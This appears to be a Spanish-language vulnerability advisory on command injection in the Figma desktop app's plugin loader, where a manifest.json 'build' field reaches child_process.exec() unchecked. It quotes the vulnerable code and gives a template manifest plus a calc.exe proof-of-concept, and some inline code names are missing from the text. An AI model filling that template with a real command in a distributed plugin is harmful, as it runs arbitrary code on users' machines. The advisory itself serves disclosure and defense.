
Vulnerabilidad de Inyección de Comandos del Sistema Operativo mediante la Ejecución de Plugins en la Aplicación de Escritorio de Figma
La aplicación de escritorio de Figma (v125.6.5) contiene una vulnerabilidad de inyección de comandos en el cargador de plugins.
Un manifiesto de plugin malicioso (manifest.json) puede abusar del campo , que se pasa directamente a sin validación.
Esto permite la ejecución arbitraria de comandos del sistema operativo en cuanto se carga el plugin, sin advertencias de seguridad ni avisos.
buildchild_process.exec()La vulnerabilidad se origina en el código ubicado en main.js, que importa el módulo child_process incorporado de Node.js:
Zlt = require("child_process")
Después, si el campo build está presente en el archivo manifest.json de un plugin y su valor es una cadena, la aplicación ejecuta el valor directamente usando child_process.exec() sin saneamiento ni validación:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
Como resultado, el siguiente archivo manifest.json contenido en un plugin malicioso haría que el valor del campo build se ejecutara como un comando del sistema operativo:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Este flujo de ejecución está integrado en la lógica de manejo de plugins de Figma, y la inclusión de la llamada require("child_process") en main.js confirma que la ejecución de comandos está incorporada directamente en la lógica central de la aplicación.
Al ejecutar un plugin que incluya el siguiente manifest.json malicioso:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Una vez que este plugin se registra en Figma y se ejecuta, el comando del sistema operativo especificado (calc.exe) se ejecuta inmediatamente.
Aunque la ejecución del campo build es una funcionalidad oficialmente soportada en la aplicación de escritorio de Figma, la aplicación debería evitar depender de campos controlados por el usuario en manifest.json, como build, siempre que sea posible.
Si dichos campos deben ser soportados, deben someterse a una validación estricta de entrada para prevenir la inyección de comandos.
Además, se debe evitar el uso de child_process.exec() de Node.js, y se deben adoptar alternativas más seguras que manejen explícitamente los argumentos.